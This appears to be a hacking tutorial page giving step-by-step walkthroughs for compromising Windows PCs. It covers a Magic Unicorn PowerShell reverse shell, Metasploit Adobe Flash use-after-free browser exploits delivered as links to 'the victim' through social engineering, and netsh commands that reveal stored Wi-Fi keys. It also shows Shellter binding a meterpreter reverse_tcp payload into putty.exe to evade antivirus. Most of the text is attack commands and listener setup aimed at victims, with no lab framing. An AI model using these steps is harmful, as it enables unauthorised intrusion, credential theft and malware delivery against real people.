Magic Unicorn - PowerShell Downgrade Attack and Exploitation tool

Magic Unicorn is a simple tool for using a PowerShell downgrade attack and injects shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.

Download the unicorn from here and run in your pc


./unicorn.py windows/meterpreter/reverse_tcp 192.168.0.182 4444


It will create two files, powershell_attack.txt and unicorn.rc. Now send the powershell_attack.txt to the victim


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.182
set lport 4444
exploit

Simply paste the powershell_attacks.txt command in any command prompt window and it will give a shell back to you

This will work on any version of Windows with PowerShell installed.

Hack Windows or Linux PC using Adobe Flash Player ByteArray Use After Free

This module exploits a use after free on Adobe Flash Player. The vulnerability, discovered by Hacking Team and made public on its July 2015 data leak, was described as a Use After Free while handling ByteArray objects. This module has been tested successfully on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194, and Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.

Exploit Targets
Windows 7
Adobe Flash 18.0.0.194
Firefox 38.0.5

Requirement
Attacker: kali Linux
Victim PC: Windows 7


Open Kali terminal type msfconsole


Now type use exploit/multi/browser/adobe_flash_hacking_team_uaf
msf exploit (adobe_flash_hacking_team_uaf)>set payload windows/meterpreter/reverse_tcp
msf exploit (adobe_flash_hacking_team_uaf)>set lhost 192.168.0.182 (IP of Local Host)
msf exploit (adobe_flash_hacking_team_uaf)>set srvhost 192.168.0.182
msf exploit (adobe_flash_hacking_team_uaf)>set uripath /
msf exploit (adobe_flash_hacking_team_uaf)>exploit  


Now an URL you should give to your victim http://192.168.0.182:8080


Send the link of the server to the victim via chat or email or any social engineering technique
Now when the victim opens the following link (http://192.168.0.182:8080) a session will be opened as shown below


 Now type session –l to display sessions opened when the victim opens the link

Now the session has opened  type sysinfo to get system information, then type shell to enter into
Victims command prompt.

Hack Windows or Linux PC using Adobe Flash opaque Background Use After Free

This module exploits an use after free on Adobe Flash Player. The vulnerability, discovered by Hacking Team and made public on its July 2015 data leak, was described as an Use After Free while handling the opaqueBackground property 7 setter of the flash.display.DisplayObject class. This module is an early release tested on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), IE9 and Adobe Flash Flash 18.0.0.203, Windows 7 SP1 (32-bit), Firefox + Adobe Flash 18.0.0.194, windows 8.1, Firefox and Adobe Flash 18.0.0.203, Windows 8.1, Firefox and Adobe Flash 18.0.0.160, and Windows 8.1, Firefox and Adobe Flash 18.0.0.194

Exploit Targets
Windows 7
Adobe Flash 18.0.0.194
Firefox 38.0.5

Requirement
Attacker: kali Linux
Victim PC: Windows 7


Open Kali terminal type msfconsole


Now type use exploit/multi/browser/adobe_flash_opaque_background_uaf
msf exploit (adobe_flash_opaque_background_uaf)>set payload windows/meterpreter/reverse_tcp
msf exploit (adobe_flash_opaque_background_uaf)>set lhost 192.168.0.182 (IP of Local Host)
msf exploit (adobe_flash_opaque_background_uaf)>set srvhost 192.168.0.182
msf exploit (adobe_flash_opaque_background_uaf)>set uripath /
msf exploit (adobe_flash_opaque_background_uaf)>exploit


Now an URL you should give to your victim http://192.168.0.182:8080

Send the link of the server to the victim via chat or email or any social engineering technique
Now when the victim opens the following link (http://192.168.0.182:8080) a session will be opened as shown below


Now type session –l to display sessions opened when the victim opens the link

Now the session has opened  type sysinfo to get system information, then type shell to enter into
Victims command prompt.

How to Gather WIFI Password in Remote Windows PC

First Hack the Victim PC Using Metasploit (Tutorial How to Hack Remote PC)

Once you got the meterpreter session use ‘shell ‘command to get command prompt of the target PC.

Now to see wireless Network connections in the Victim PC. Use Netsh Command.

Netsh is a command line utility included in Windows operating system which allows local and remote configuration of the network devices such as interface.

netsh wlan show profile


This command will show all profiles on interface wireless network connections accessed by Victim PC.


Now we have got the network interface profiles. To retrieve stored    Security key of specific Network interface profile. Again use Netsh command with specified Profile Name. Such As
Netsh wlan show profile =tiny key =clear

Above command will show the security key as option Key content.


It will also show the Network type, SSID name as well as Authentication present in that Security Key.

Bypass Antivirus and Hack Remote Windows PC with shelter

Download Shellter from here, shellter version 4.0 is latest release,no antivirus has detected till now.

After downloading shellter unzip the archive file
set the location of shellter and type “wineconsole shellter” 


A terminal opens and choose operation mode as auto (a)


Now choose an executable file and copy to shellter folder to bind the shellter with any .exe file
here in my case I have copied putty.exe as a file to bind with shellter.exe
Note: only executable file can be binded.


 Now it asks for PE target after choosing operation method, give the filename .exe and binding process will start.


 When the binding is processed it will ask for the type of payload we want to use I have choose l for listed payload and then choose 1 for Meterpreter_reverse_tcp


Now give the lhost which is ip address of kali linux and lport as 7777


After giving all the options you will get a confirmation like Injection: verified! Press enter and continue.


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed. Start metasploit using msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.125
set lport 7777
exploit

Now send the binded putty .exe to the victim, as soon as he opens the file a meterpreter session will open


 Proof that no antivirus is detecting, I have scanned putty.exe in virustotal.com and has discovered 0 out of 55